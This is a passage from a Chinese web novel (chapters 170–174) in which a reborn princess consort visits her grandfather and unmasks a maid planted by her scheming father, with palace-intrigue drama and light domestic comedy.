“王爷身上的伤,比我还多,难不成你的武功,比我还高?” 谢窈的声音,让萧熠之回过神。 他终于敢看一眼谢窈。 谢窈的眼中,是清晰的好胜进取之意,语气平静又认真:“那以后我练刀,王爷要在一旁指点指点,让我学几招,不能输你太多。” 萧熠之:“……” 自己在惊慌失措,担心不已的时候,自家王妃脑子里,是要让他指点武功? 萧熠之甚至感觉,但凡他能一只脚站起来金鸡独立,王妃大婚之夜都能扒拉自己跟她切磋。 有双手,将他拉出了混沌的江水。 “好。” 许久,王爷僵硬地回答。 谢窈没再提刚才的事,往后退了两步:“我先去洗漱。” 这次,谢窈出去很久。 萧熠之费力地弯腰,双手抬起一条腿,脱掉靴子,忽然,他狠狠锤了一拳自己毫无知觉的小腿。 这样的自己,怎么配得上他的妻子。 等谢窈回来,屋内只剩下微弱的灯火,王爷已经躺下,被子盖在胸前,身上的外袍整整齐齐放在床尾。 谢窈轻手轻脚地上床,在王爷身旁躺下。 她心想着,那些伤疤固然看着吓人,但不都是王爷军功的象征吗,她要是身上也有那么多疤痕,说不定大将军的位置都让自己做了…… 再说,若王爷有能站起来的一天,嫌丑的话,就让忍冬弄点祛疤药膏给他。 说起忍冬,她去见外祖父,得让忍冬好好给外祖父看看。 说起外祖父,她要让人查一查外祖父别院的情况。 想着想着,谢窈贴着王爷睡了过去。 天亮了。 谢窈照例率先起床练刀,王爷即便宿醉也醒得很早,因为饮了酒,得先去流霞院由老管家把脉,调整汤药。 昨晚守夜的是齐嬷嬷和一个叫小芸的丫鬟,谢窈练完刀,接过棠心递来的帕子擦了擦汗。 小芸在一旁,低声道:“王妃,王爷一连四日都宿在扶光院,您可要把握机会呀。” 第170章 生出私心,见外祖父 “机会?”谢窈拿着帕子的手顿住,反问。 扶光院不是只有齐嬷嬷棠心和忍冬三个服侍之人,其中长思负责管账,除了她们四个,还有三名王府侍女,三名许家给她带到王府的陪嫁丫鬟。 小芸是原本王府的侍女。 “王爷以前都宿在流霞院,既然如今跟您住在一起,您应该早日圆房,若是有了身孕,咱们扶光院就有指望了。”她眼神闪了闪,说道。 谢窈懂了,扶光院的人,和自己一荣俱荣,一损俱损。 她和萧熠之住着,一连四晚都没有叫水,这些丫鬟知道他们没圆房,小芸才会如此说。 谢窈看向棠心:“我和王爷的私事,倒是让你们比我还急。” 棠心立即柳眉一竖:“跪下!” 小芸:“棠心,你我都是奴婢,你凭什么命令——” “啪!” 棠心已经一巴掌扇上去,直接把她扇倒,厉声道:“一大早就在王妃面前编排,主子的事,什么时候轮到你来妄议了,还不认错?” 小芸抬起头,却看见王妃拎着银白锋利的长刀,阴恻恻地盯着她,唇角挂着一抹嗜血的杀意…… 简直和王爷一样让人害怕! 不,王爷不近女色,其实只是看着吓人,平时跟她们这些侍女距离很远,可王妃很近。 应该说,王妃才是被迫嫁给王爷后,心里扭曲的那个吧! 毕竟,谁家高门大户的贵夫人,会整天抱着一把大刀,还每日晨起练刀啊。 “奴婢错了,奴婢再也不敢了,求王妃饶命。” 小芸咬了咬牙,抬起手,自己又扇了自己两巴掌,脸颊顿时红肿起来。 棠心同样跪了下去:“还望王妃放心,您和王爷的私事,扶光院之人,万万不敢妄议。” 谢窈道:“起来吧,我说她,又没有说你。” 让棠心起来之后,小芸她也没再计较。 扶光院虽然有王爷之前立威,齐嬷嬷和棠心又都是萧老夫人给的,办事稳妥,但是,其中还是难免掺着沙子。 放长线,才能钓大鱼。 棠心擅长给女子梳妆打扮,而且知进退,性格细心。 谢窈有心培养她,想了想,把她叫进屋,让她悄悄盯着小芸等院中其他人,看谁还在暗中议论她和王爷的事。 棠心领命离开。 至于忍冬,她们相伴多年,比起主仆,她更像自己的姐妹。 忍冬的医术,虽然没有到堪称神医的地步,但她是当年杏林圣手林御医的女儿,还这么年轻,已经比起尚药局的寻常御医也不逊色,放在外面,完全可以做医馆的坐堂大夫。 谢窈不想她一辈子只当个丫鬟,若有机会,她值得更广阔的天地。 而且,谢窈想起昨夜看见,王爷腿上刺眼的伤疤。 她心里,生出一丝私心。 她不确定,上辈子,靖北王的腿到底治没治好。 如果未来两年治好了,自然不需要她多做什么,顺其自然就行,她和靖北王,还没有熟悉到能派人去问候的地步,王爷身边也肯定不缺大夫。 如果没治好,她就让忍冬精进医术——她想试试看,能不能帮萧熠之。 这时,齐嬷嬷来通报,说京兆尹派人,送来一盒他夫人做的桃花酥,要给王爷王妃品尝。 谢窈与齐嬷嬷一起去前院,小芸从地上爬起来,捂着脸在墙根哭哭啼啼地走,不知不觉,走到三房院外。 “这不是小芸吗,哎呦呦,脸怎么了,谁欺负的,真是让人心疼。” 三房周夫人身边的琪儿端着东西路过,关切地问。 小芸满腹委屈,听她的话,更是哭诉起来。 她们后面,棠心藏在暗处,将一切看在眼里。 前院,谢窈和王爷一起用完早膳后,品尝了京兆尹夫人做的桃花酥。 王爷不喜欢太甜的,这点谢窈在冬至宴上,喂他吃桂花糯米团子时就发现了。 于是,谢窈毫不客气地吃了大半盒。 还剩最后两块的时候,王爷忍不住伸手,在管家惊讶的眼神中,面容淡定地拿起一块,放入口中。 “怎么样,好吃吧?”谢窈的双眸亮晶晶地望着他,问道。 萧熠之缓慢咀嚼:“尚可。” 甜。 王妃就喜欢吃这个? 想起杜语堂炫耀他妻子时的样子,王爷的眼神沉了沉。 不知道桃花酥,好做吗。 王爷白天去流霞院忙,谢窈交代齐嬷嬷准备些礼物,过两日,她要去许家别院见外祖父。 随即,谢窈就带上忍冬,去了澄园。 萧家老夫人给她那块玉牌,让她可以自由出入王府,如今母亲和谢明安分府别居,她就能常去看望母亲。 连着三日,谢窈都去澄园找许素素。 忍冬与她跟澄园的护院阿武交谈,弄清了许家别院的情况。 许老爷子的发妻,是京城一户布庄的小姐。 外祖母还活着的时候,外祖父每年都会陪她在京城住些时日,再加上京城繁盛,久而久之,许家在京城开了许多商铺,舅舅就留在京城了。 后来,因义子管理着京城这边的产业,女儿又嫁给文昌伯,外祖父每年还是会返京,在有着外祖母痕迹的别院里住段时间,再回江州处理事情。 为了给谢窈送嫁妆,他今年提前返京。 许老爷子不住京城的时候,许家别院由下人打理。 别院管家姓于,是阿虎的爹,早年是许老爷子在江州老家的厨子,老爷子就喜欢吃他做的饭菜。 别院还有个女管事,名叫秋水,早年是母亲身边的小丫鬟,因为当初年纪小,没有跟母亲一起到伯府,如今也管着别院的事务。 “于管家,秋水……” 如果外祖父身边有谢明安的人,那这人,八成就在于管家和秋水之间。 出发去许家别院之前,谢窈已经有了打算。 王爷这几日白天都在流霞院鼓捣什么,晚上在流霞院住了一晚,剩下两晚还是跟她同塌而眠。 谢窈不打扰,她知道王爷不爱出门,哪怕是拜访自己的外祖父。 收拾妥当,谢窈带上忍冬,带上了王爷给外祖父绣的香囊,就要出门。 看见这枚香囊,她忽然想到,除了齐嬷嬷准备的那些得体的礼物,她也该送外祖父什么亲手做的,以表达自己的真情。 王妃站在扶光院内,四处张望,选中了一只鸡。 “就你了,老母鸡汤,我亲自杀。” 这个她特别擅长。 追墨:“咕!!!” 第171章 伯府派人送礼?王妃怀疑之人 齐嬷嬷指使人去抓鸡,没想到,追墨好像感知到有危险,直接一飞三尺高。 谢窈撸起袖子上前,看见给它单独垒的鸡窝里,还藏着两枚鸡蛋。 王妃心善地放过了它。 不一会儿,追墨发现自己脱离了危险,就又在那几对关在笼子里的大雁面前,昂首挺鸡胸,趾高气扬地“咕咕”起来。 整个扶光院都是它的,几只大雁算什么。 只不过,它再回窝,发现自己辛辛苦苦孵了一天的蛋,没了! 让人捡了一小筐鸡蛋的谢窈,已经出发前往许家别院。 别院在南淮大街辛号院,距离王府不算远。 谢明安账簿上,金眼玉佛的备注,恰好是南淮大街丙号院。 七两坐在马车外面,路过的时候,他侧身跟车内的谢窈说:“王妃,那就是丙号院,里面现在住着京城富商一家。” 谢窈看了一眼,是所大宅子。 此前,她把调查这处宅院的事交给七两,七两已经查出一些眉目。 谢窈问道:“富到什么程度?” 七两:“大概能跟许家说得上话,但也得看许家脸色。” 很快,许家别院到了。 “诶,那是蒋四?” 忍冬刚掀开车帘一角,就看到伯府的护院首领蒋四,出现在别院门口。 之前蒲苇说蒋四好色,她也知道了,所以眼神很是厌恶。 谢窈顺势望去,见蒋四领着两个伯府下人,下人手里各自拎着一只锦盒。 他一只脚踮起来,显然前几日被自己捅的剑伤还没好,正跟门内的人说话,脸上挂着谄媚笑容。 谢窈道:“母亲刚分府别居,谢明安就坐不住了。” 忍冬恍然大悟:“奴婢明白了,文昌伯是派蒋四,来给许老爷子送礼的。” 七两低声说:“送礼是小,文昌伯大概是以送礼的名头讨好许家老爷,让许家老爷帮着劝说许夫人回伯府。” 谢窈微微点头。 七两越来越会说话了,自从母亲和谢明安分府别居后,他不再叫母亲伯夫人,而是称做许夫人,深得她心。 谢窈正要下车,目光落到和蒋四对话的男子身上。 那人年过半百,穿着绸布衣衫,不似寻常小厮打扮,隐隐还有些面熟。 “于管家,您就行行好,通禀一声吧!” 蒋四的声音传到谢窈耳中。 “伯爷特意让小的送来今年的雪燕燕窝,还有上好的人参,就是想改日见许老爷一面,只求许老爷能劝劝伯夫人,别在跟伯爷置气了。” 于管家冷声道:“蒋护院,不是我不给你面子,老爷放了话,不见你们文昌伯府的人,你还是请回吧,再说了,为何分府别居,你家伯爷心里没数?” 谢窈了然,自己小时候,曾偷偷来过几次许家别院,大概见过于管家,才觉得面熟。 于管家,正是她此行要查的可疑人选之一。 前世,外祖父是在京城去世的,而于管家是许家在京城的别院管家,还是膳夫出身,让人不得不多想。 “王妃,下车吧。” 忍冬先下车,在外面等候,特意抱着王妃的长刀。 蒋四听到动静,回过头。 今日谢窈一身月白织锦雪缎裙,外罩银灰鹤氅,长发盘起,簪着一枚飞扬的凤簪,姿容冷艳,眉眼清洌。 蒋四的脸瞬间一白,受伤的左脚忍不住抖起来,好不容易缓和的伤口,又开始疼。 “王,王妃?您怎么在这儿?”他结结巴巴地问。 于管家听到他的称呼,再看清谢窈的模样,愣住了。 那个多年前,一个人来别院找老爷,活泼灵动的小女孩,和眼前的女子重合。 他激动地睁大眼睛,脸上瞬间满是笑容:“是大小姐吗?老奴见过大小姐!” 说着,于管家不再搭理蒋四,转头冲门内喊:“大小姐回来了,来人,快去告诉老爷,大小姐来府上啦!” 在许家人眼里,嫁给文昌伯的许素素,不管多大,都是他们的大小姐。 而只能称为表小姐的谢窈,因为许老爷子和少东家许知行的疼爱,也是他们的大小姐。 许家给谢窈送了一百零八抬嫁妆,满街泼洒钱雨,就是许老爷子向世人宣告——谢窈不止是文昌伯的女儿,靖北王的王妃,更是许家的大小姐! 谢窈向于管家点头,一个眼神都没给蒋四。 蒋四的脸色惨白,攥着锦盒的手紧了紧,眼底闪过几分阴险。 不过,想到自己此行目的,他不敢露出任何情绪招惹谢窈,只能垂头在一旁。 没过多久,院内响起一阵急促的脚步声。 “小阿窈在哪?我的孙女来了?” 外祖父许世诠人还没看见,爽朗急切的声音就传出来。 远远地,老人身穿深色衣袍,寻常富家翁的打扮,三步并作两步,脚步快得衣袍下摆都扬起来,身后跟着几名丫鬟小厮。 “可算来了,小阿窈,你和靖北王大婚那日不算,老夫都九年,没见到我的乖孙女了。”许老爷子眼眶泛红。 “外祖父别担心,孙女很好,也很想念您。” 谢窈被一双干燥温暖的手攥住,她细细地打量老人的面容,凝望他脸上每道皱纹,心里泛起酸涩。 不是九年,自己在北境的九年,回京后的两年多,加起来,是十二年! 这是前世她到死,都没见过一面的外祖父啊。 还好现在,她的外祖父还在,还在。 许老爷子的手微颤,不管小阿窈如今是什么身份,在他心里,都是自己可爱的孙女。 他注意到一旁的蒋四,眉头拧起来:“你是文昌伯府的人?” 蒋四点头哈腰:“给许家老爷请安,小人蒋四,替文昌伯来给您送些薄——” “礼”字还没说出口,许老爷子已经冷笑下令:“打出去。” 于管家立即招呼来两个护院:“打!” 蒋四呆住了,一个推搡就被推出大门,“啪叽”跌倒在地。 他连忙从怀里掏出一个信封,急切地喊: “别,许老爷子饶命,别打,小的还奉命来送老夫人的信,老夫人说她年事已高,实在记挂伯夫人,这么多年,都,都是把伯夫人当女儿看待,也十分想念伯夫人……” “我呸!” 许老爷子直接啐了一口。 “当初,不是嫌我许家是商贾之家吗,记挂?老夫是看你们谢家,记挂素素的陪嫁吧!” 前几日,女儿许素素在谢窈回门礼上,与文昌伯分府别居的事,早已经传遍京城。 具体的情况,儿子更是跟他说了。 女儿嫁到文昌伯府,一开始两三年还好,后来就不再联系许家。 许老爷子只当是女儿抹不开面子,而当初自己的话又太狠,伤了女儿的心。 何况,他许家是商贾,谢家是伯府勋贵,谢明安也有官位在身。 若许家总是去见女儿,怕是会被人笑话,说他们卖女求荣,想要攀附谢家。 却没想到,谢家和文昌伯,敢这么对待自己女儿! 许老爷子本来就不待见谢家人,见蒋四敢来,他真恨不得亲自把他揍出去。 “老爷,谢老夫人毕竟是亲家,也是朝廷的诰命夫人,您不给文昌伯面子,也该给她一个面子,否则……有碍名声。” 这时,一名穿着绿色罗裙,看上去三十来岁的女子走过来,扫了蒋四两眼,轻声劝道。 许老爷子听到这话,沉思道:他可以不要面子,但素素与伯府分府别居,小阿窈是靖北王妃,还是需要名声的。 “信老夫收下了,带着东西滚。”许老爷子拿走蒋四手里的信。 蒋四又指着伯府下人手里的锦盒:“许老爷,这是伯爷的一点心意,您不收下,小人实在难以复命,求您收下吧!” 许老爷子眉头紧皱,但终究对于管家吩咐:“把东西送去库房,不必再来。” 蒋四:“许老,我家伯爷还说——” “没什么可说的!” 许老爷子没等他说完,已经拉着谢窈往院里走。 “小阿窈,快跟外祖父进屋,再加两盆炭,取冰饮子来,我孙女喜欢喝。” 蒋四站在原地,眼神渐深。 谢窈走之前,悄悄递给七两一个眼神,让他盯住于管家。 七两拎着一筐鸡蛋,跟着于管家一起,带伯府下人去库房放东西。 别院的正厅,还是谢窈小时候的样子。 她一进来,就是融融暖意,地上通铺羊毛做的赭灰织毯,脚下是暖的,却只见窗下放着两盆刚搬来的鎏金炭盆,空气中浮动着淡雅的鹅梨香。 立即有丫鬟上前,帮谢窈将鹤氅挂到一旁。 屋里太热,不一会儿就生了汗,还有丫鬟奉上一小壶加了冰块和蜜糖的橘汁。 谢窈小时候贪凉,来见外祖父几次,最喜欢吃这里的甜食,喝酸酸甜甜的冰饮子。 刚才说话的绿裙女子端着点心进来,她发髻梳得整齐,头上戴一支碧玉簪,比寻常丫鬟体面得多。 她举止也大方,先跟许老爷子行礼,然后向谢窈屈膝:“奴婢秋水,见过大小姐。” 许老爷子笑着解释:“小阿窈,这是秋水,当年你母亲还在闺中时候,她是你母亲身边的丫鬟,后来年纪小,没跟去伯府,就留在别院帮我打理事。” “这孩子有功,前两年,我寒疾加重,是她给我个祖传的偏方,治好了我的病。” 第172章 怀疑舅舅?另有其人 秋水道:“老爷严重了,奴婢的偏方只是侥幸,还是您自己身体硬朗。” “你这丫头,惯会谦虚。” 许老爷子和蔼地对谢窈介绍:“秋水小时候在你母亲身边久了,跟她性子倒是有点像,但可没有你母亲那么气人。” 谢窈看向秋水,眼底掠过一抹沉色。 她要查的另一个可疑之人,就是别院的掌事丫鬟秋水。 谢窈记得,前世她从舅舅口中得知外祖父死讯时,舅舅虽然只说是突发恶疾,没有提到底怎么回事,但面色很难看,而且心事重重。 后来,舅舅为她请的状师跟她透露,江州老家那边的许家族老,因为舅舅只是外祖父义子,还有别的原因,所以怀疑外祖父之死有所隐情。 更有甚者,说许知行弑父! 族老们,反对许知行继承许家产业。 而母亲是外祖父唯一的女儿,哪怕已经去世,也是真正的许家血脉,何况还有谢宴这个外孙在。 最后,许家很大一部分产业,顺势交到了许家的女婿,文昌伯手上! 若说许家的事和谢明安没关系,鬼都不信! 许家族老质疑舅舅的原因,她将在于管家和秋水身上找出答案。 秋水将点心放下,微微低头,发间的碧玉簪衬得她容貌秀气:“一切都是奴婢应该做的。” 谢窈没有理会秋水,又跟许老爷子聊了一会儿,故意放软语调:“外祖父,阿窈都九年没见到您了,有好多心里话想跟您说。” 许老爷子一愣,明白了什么,对厅里的丫鬟小厮道:“你们都出去吧,守在门外。” 谢窈让忍冬留在自己身后。 其他下人纷纷退下,秋水却依旧站在原地:“老爷,大小姐刚回来,说不定还需要人伺候,奴婢在这儿候着吧。” 谢窈抬眸,目光冷了几分:“不必了,我与外祖父说的是家事。” 秋水还想说什么,许老爷子已经开口:“秋水,你也出去吧,去前院知会于管家一声,让他亲自下厨,做小阿窈小时候爱吃的桂花糕和栗子糕。” “奴婢遵命。” 秋水没法,只能退下去,走之前,偷偷地看了谢窈一眼,眼底闪过一丝不易察觉的忌惮。 厅门一关,谢窈道:“忍冬,你给外祖父把把脉。” 忍冬立即上前,拿出脉枕放到桌上。 许老爷子把手搭在脉枕上,笑着说:“你这孩子,外祖父身子骨很好,哪用把脉,而且刚回京第一天,知行就找胜济堂的大夫给我看了,连从前的寒疾,都好得很利索,还多亏了秋水。” 话虽这么说,他却很是配合。 谢窈听外祖父又一次夸赞秋水,心道,看来因为母亲早年嫁人,外祖父是把丫鬟秋水,当做了半个女儿看待。 忍冬搭上去,片刻后就收回手。 “许老爷子脉象平稳有力,只是略有虚火,想来是近日有些劳累,但并无大碍。” 谢窈悬着的心放了一半。 外祖父身体硬朗,更加证明他前世突发恶疾,和谢明安有关。 许老爷子看着孙女的面色,问道:“你故意支走我别院的下人,是不是有什么要紧事要说?” 谢窈点头:“外祖父,如今母亲和文昌伯分府别居,还让谢家还回了部分陪嫁,文昌伯必然心有不甘,他怕是把主意,打到您身上了。” “什么?” 许老爷子皱起眉头:“打在我身上?难不成他还想害死老夫,抢了许家的产业不成?” 谢窈没接话,静静地看着外祖父。 许老爷子脸上的笑容消失,瞪圆了眼睛:“……他真要害我啊?” “文昌伯不可能在江州下手,所以,”谢窈语气沉了下去,“京城别院这边,您近身伺候的人,恐怕有问题。” 许老爷子见孙女神情严肃,不像是在开玩笑,但还是忍不住质疑:“想害老夫的人不少,所以老夫用下人,向来谨慎。” 他回想身边的人:“就说别院这边,于管家早年是我的厨子,还跟在你舅舅身边当差了十来年,秋水更是你母亲当年的贴身丫鬟,都是知根知底的。” 谢窈:“正因知根知底,您才不会有防备。” “外祖父,孙女不会拿您的安危开玩笑,”她说着,看向忍冬,“去把七两叫来。” 没一会儿,忍冬将七两领进来。 入府的时候,谢窈就让七两跟着于管家了。 “小的见过王妃,许家老爷。” 七两先跟谢窈行礼,然后道:“小的奉王妃之命盯着于管家,看见于管家去送文昌伯府的蒋四离府时,两人在角落里,聊了整整一炷香。” 许老爷子:“是我让他带伯府人的去库房,再把那个护院送走,多聊两句,倒也正常。” 七两:“只是,蒋护院走后,于管家又去后门,见了他儿子阿武,直到小的来之前,他们二人还在聊着。” 许老爷子:“阿武?老夫记得。” “那小伙子是于管家小儿子,你舅舅身边的护院,于管家还有个大儿子,替你舅舅管着布庄那边的库房。父子俩聊天,有什么问题?” 这章没有结束,请点击下一页继续阅读!“正因是父子俩,才有问题。” 谢窈语气冷静,不急不缓地解释。 “于管家从前在舅舅身边当差,两个儿子也是舅舅的人,而现在,他是您别院的管家,还擅长厨艺,若是有人想在您身上动手脚,最容易给您下手的,就是他。” 她看着外祖父的眼睛,轻声问道:“而到时候,别人会怎么想?” 许老爷子浑身一震,他活了大半辈子,怎会不懂小阿窈的意思。 最容易下手的是于管家,最容易被怀疑的,当然也是于管家。 “会有人说,知行借于管家的手害老夫,想谋夺老夫的家产!”他沉声道。 这是想一石二鸟,既害了自己,又能把脏水泼到儿子身上。 “可于管家,到底是跟了老夫多年之人,老夫待他不薄。”许老爷子叹了一口气,眼神黯淡。 谢窈话锋一转:“外祖父不必伤怀,阿武前几日被舅舅送去了澄园,做澄园的护院,这父子俩现在都不在舅舅身边做事了,再有人想攀扯上舅舅,就有些困难。” “这么说,于管家的事,还有转机?” 许老爷子也不愿相信,自己身边的老人会害自己。 如果真有问题,连他自己,都会怀疑上儿子许知行。 谢窈故意先说于管家,让外祖父怀疑舅舅,那之后的事,他就不会太伤怀了。 她眼底闪过一抹精光,语气放缓:“管家父子俩,只是幌子,我真正怀疑的,是另一个人。” 喜欢渣爹杀妻灭女?重生断亲,全族祭天请大家收藏:()渣爹杀妻灭女?重生断亲,全族祭天更新速度全网最快。 第173章 外祖父与外祖母,引蛇出洞 许老爷子听到谢窈那句“我真正怀疑的,是另一个人”,想要追问,谢窈却跳过了这个话题。 两人又闲聊一二,外面有人通传:“老爷,大小姐,午膳好了。” 于管家亲自上前,端着一盘刚做好的栗子糕,笑盈盈地放到谢窈面前:“大小姐,老奴特意多放了桂花蜜,您尝尝。” 谢窈拿起一块,抬眸看他,微微点头:“于管家辛苦了。” 她咬了一口,是年幼时熟悉的味道。 于管家看着她,脸上难掩激动。 大小姐,哦不,靖北王妃,吃自己做的点心了! 许老爷子偷偷观察着自己的管家,感觉于管家说话坦荡,不像藏着事的样子。 谢窈又吃了一块:“这栗子糕若少加桂花蜜,倒不算甜,还请管家给我装一盒不加蜜的,我回去给——” 她的话顿住,强行克制了自己的感情:“给萧老夫人尝尝。” “是。”于管家高兴地下去准备了。 许老爷子看在眼里,摸了摸下巴的胡须,若有所思。 “大小姐,请用茶。” 秋水端着茶盏走进来,靠近时,一股淡淡的创伤药味,飘进忍冬的鼻子里,让她眼神一凝。 刚进别院,遇见伯府护院蒋四的时候,她就闻到了这股味道。 蒋四此前被王妃一剑刺伤左脚,身上肯定上着药。 秋水姑娘,怎么会沾染这个味道? 谢窈的目光则落在秋水脸上,只是一个时辰不见,她头上那支碧玉簪,换成了更小巧的青玉簪,口脂也更鲜艳了几分,衬得秀气的脸多出一抹艳色。 “女为悦己者容,秋水姑娘今日倒是费心打扮了。” 谢窈端起茶,语气带着一丝玩味:“莫不是特意给我看的?” 许家别院平时都是下人,要么就是外祖父,还有今日的自己,秋水,这是打扮给谁看? 秋水眼神一颤,连忙低下头:“王妃说笑了,奴婢只是刚才收拾东西时,看见了这支簪子,没多想便戴上了。” “哦,是吗。” 谢窈没在追问,低头品了一口茶,仿佛相信她的话。 秋水不敢多留,匆匆行礼后就退了出去。 而这时,忍冬才用只能谢窈听见的声音道:“王妃,她身上有创伤药的味道,和蒋四用的是一种。” “知道了。” 谢窈放下茶盏,淡声吩咐:“你等会儿去后厨一趟,跟别院的婆子们闲聊几句,问问秋水为何一直没有成亲,又或者跟哪个外男走得近。” 忍冬应下离开,许老爷子才说:“小阿窈,你怀疑的人是秋水?这丫头心气高,前几年拒绝了于管家的长子,拖着拖着,就成了老姑娘,说要照顾老夫我一辈子——” 他忽然不说话了。 自己一个年过六旬的老头子,对秋水又没什么救命之恩,秋水一直不成亲,是图什么呢?图他年纪大? 谢窈并没有解释,搀扶外祖父起身:“咱们去后花园走走吧,我记得小时候,每次来,您总是坐在后花园的藤椅上晒太阳。” 许老爷子一怔,点了点头。 因是冬天,后花园也没什么花草,藤椅也搬走了,只是,对面的秋千架还在,上面建了遮雨雪的亭子。 秋千绳是新换的,木板的红漆斑驳,透着岁月的痕迹。 许老爷子远远地望着秋千,一道倩影,仿佛在眼前浮现。 “你外祖母认识我时,还是个年轻姑娘,嗯……就和你现在差不多大吧,她爱玩爱闹,嫁给我,跟我去江州后水土不服,晕船就晕了半个月,可一到家,她就闹着要吃江州的米糕,小吃,还用那双大眼睛望着我撒娇,就像她的名字,盼盼。” 外祖父说着说着,唇角,扬起一抹温和的笑。 “我每年都会带她回京,送她回她家,看着她狸奴似的扑到岳母怀里。” “这秋千架是我亲手给她做的,她总是让我给她推,一下,两下,她笑起来,就是话本子里说的那样,如悦耳银铃。” “她说,坐在上面,看这天地和后宅,就不再是方圆的了。” “车遥遥兮马洋洋,追思君兮,不可忘。” 老人深沉而轻缓的声音,似流动的河水。 他抬起手,悄悄拂去眼角的泪:“素素就很像她,很像……” 许老爷子的眼里,是深深的思念。 谢窈望着秋千,呼吸哽咽,心也软下来。 外祖母走得早,她从未见过,而外祖父终身未再娶,身边也没有妾室。 透过外祖父的话语,她能想象到外祖母的样子。 盼盼。 她一定是个顾盼生姿的女子。 逝去的人逝去了,但其实,还活在在乎她的人心里。 这样的感情,才叫做执子之手,与子偕老。 “还未问你,靖北王待你如何。”许老爷子道。 提起萧熠之,谢窈轻声道:“外祖父放心,我与王爷虽然是奉旨成婚,但他……很好。” 她与王爷,名为夫妻,实则只能算盟友,可王爷所做的一切,她并非看不到。 本小章还未完,请点击下一页继续阅读后面精彩内容!许老爷子没有过多询问,感情之事,如人饮水,冷暖自知,他这老掉牙的老头子,就不对他们年轻人指点江山了。 “对了,我听说萧家长房式微,三房一脉人丁昌盛,你在萧家可有受委屈?”他又关心地问。 “萧家人也很好,”谢窈道,“连外祖父都知道萧家三房的事了?” 许老爷子:“我知那是你的夫家,所以差人打听一番,说是三房的大公子正妻怀了身孕,三房又要添丁了。” “外祖父不必担心,萧老夫人已经将王府的掌家钥匙交给我,三房无论如何,也威胁不到长房。” 谢窈垂下眸,心想,她明白萧老夫人特意去求皇上,给萧熠之赐婚的原因了。 正说着,忍冬回来答复:“王妃,问清楚了,后厨婆子们都说,秋水性格清高,除了打理别院的事,连门都很少出,更没有见过她跟哪个外男有所往来。” 谢窈眼眸沉了沉。 没成亲,也没有外男,却沾染了蒋四身上的药味,今日还更换了妆容。 且蒋四好色,她是知道的。 秋水和他的关系,已经不言而喻。 她蓦地想到,秋水曾是母亲身边的小丫鬟。 十八年啊,她不敢细思。 母亲与谢明安的相识,恐怕,都是一场骗局! “老爷,大小姐,有人求见。” 于管家走过来,见到祖孙二人正怀念地望着老夫人的秋千,不由放轻了脚步。 谢窈回过神:“什么人?” 白蔹兴冲冲地从于管家身后跳出来,笑出雪白的牙齿:“王妃,王爷让属下问您,今晚还回家吃饭吗?” 谢窈:“呃……” 她看了两眼外祖母的秋千架,内心一动。 外祖父说母亲和外祖母生得像,他其实,一直很想念母亲。 “来都来了,自然要把事情彻底解决再走。” 过了一会儿,谢窈跟外祖父告辞:“外祖父,天色不早了,孙儿改日再来看您。” 许老爷子虽然叫她小阿窈,许家人也称她为大小姐,但她毕竟是靖北王妃,该有的礼数还要有。 王妃离开,许老爷子和于管家,秋水,一起将她送到门口。 眼看着靖北王府的马车消失在长街尽头,秋水才散去心中的警惕。 还好,谢窈虽然起了疑心,让丫鬟打听自己是不是和外男私会,但根本没有问出什么。 她和蒋四的事,那些后院婆子哪知道。 没有证据,她曾救治过老爷,对许家有恩,任由谢窈是靖北王妃,也动不了她分毫。 秋水回到院里,晚饭前,和往常一样来到别院后门,安排人将外面运来的新鲜瓜果抬去后厨。 她正招呼着下人,一个陌生小厮,悄无声息地走到她身边。 “秋水姑娘,这是我家主子让我交给您的。” 小厮低着头,压低的声音在她耳边突兀响起。 秋水心里“咯噔”一声:“你是何人?” 小厮没有回答,将一张纸条交给她后,就迅速跟着运送瓜果的人离开了。 秋水心绪不宁,都没来得及看清小厮的脸。 回到屋里,她才展开字条。 上面写着:今夜亥时二刻,伯府后门见。 喜欢渣爹杀妻灭女?重生断亲,全族祭天请大家收藏:()渣爹杀妻灭女?重生断亲,全族祭天更新速度全网最快。 第174章 鹬蚌相争,渔翁得利? 秋水看着纸条上的字,想起白天和蒋四温存时,他说过,伯爷有要事交代,只是要等他消息。 看来,小厮是蒋四派来的。 许家别院人多眼杂,的确不是谈事的地方,即便是在自己屋里,也太过冒险。 秋水定下神,当即把字条塞进烛火。 纸灰飘落,烛火映照着她明灭变幻的眼睛。 年幼时,秋水在街头乞讨,是文昌伯赏了她一口饭,救了她的命。 又是蒋四找大夫照顾她,把她安排到许家大小姐回府的路上,让大小姐将她买到别院。 许家大小姐许素素,自幼被父兄千娇万宠地长大,是个心善又单纯的姑娘,虽然在经商算账一途十分通透,感情上却是一张白纸。 或许在她心里,从未想过,世间很多恶意,是没有道理的。 当年文昌伯能得到她的芳心,也有自己在中间传话,把她的喜恶告诉伯爷的原因。 也是自己,给文昌伯制造机会跟大小姐独处,这才让大小姐未婚先孕。 只是,等许家大小姐嫁给文昌伯后,她因为没有被带去伯府,所以伯爷对她也没了安排。 除了七年前,伯爷又询问她,大小姐在嫁入伯府之前,还和什么男子交往密切之外,伯府也只有蒋四,偶尔会联系她。 一晃,十八年过去了。 这些年,许老爷子待她极好,几乎像亲女儿一样。 自己最后再帮伯爷一次,就算还完了当年的恩情。 夜幕很快降临。 秋水见时辰差不多了,便穿上件深色斗篷,把脸遮住大半。 要出门前,她对着铜镜理了理衣裳,给自己换了鲜艳些的口脂,忍不住抚摸鬓间那支青玉簪。 这是蒋四白天时,送给她的礼物。 蒋四说,这玉簪十分衬她,以此为信物,此事之后,他要为自己脱掉奴籍,再娶自己为妻。 秋水有些害怕,那张纸条会不会是个陷阱。 但转念一想,许老爷子对她信任有加,自己这些年在许家也兢兢业业。 谢窈就算怀疑她,也没有证据,而且,靖北王妃已经离开了别院。 秋水放下心,借着夜色,穿过几条街道,很快来到伯府后门。 她轻轻敲了敲门。 门房探出头,皱着眉问:“你是谁,大半夜的来文昌伯府做什么?” 秋水压低声音:“我找蒋护院。” 门房挑眉,上下打量了她一圈,语气戏谑:“哦,又是找蒋四的女子啊,生得倒是很漂亮。” 秋水心头一跳,她与蒋四,有时一年半载都见不到一面,见面也是在外面的客栈,这还是她第一次来伯府见他。 “又是?经常有女子来找他?”她颤声问。 “也不是经常……” 门房看着秋水的脸色,故意拉长了语调:“都是伯府自己家的小丫头,也就三五个吧。” 秋水脸色白了几分。 门房嗤笑:“他傍晚去医馆换药了,到现在还没回来呢,你找他有什么事,不如,去他屋里等着?” 听到这话,秋水来不及心痛,心头狂跳。 蒋四去换药了,那纸条是谁送的? “怎么,不进来等啊?” 在门房调侃的声音中,秋水行了个礼,转身离开。 她心里已经反应过来,自己被算计了! 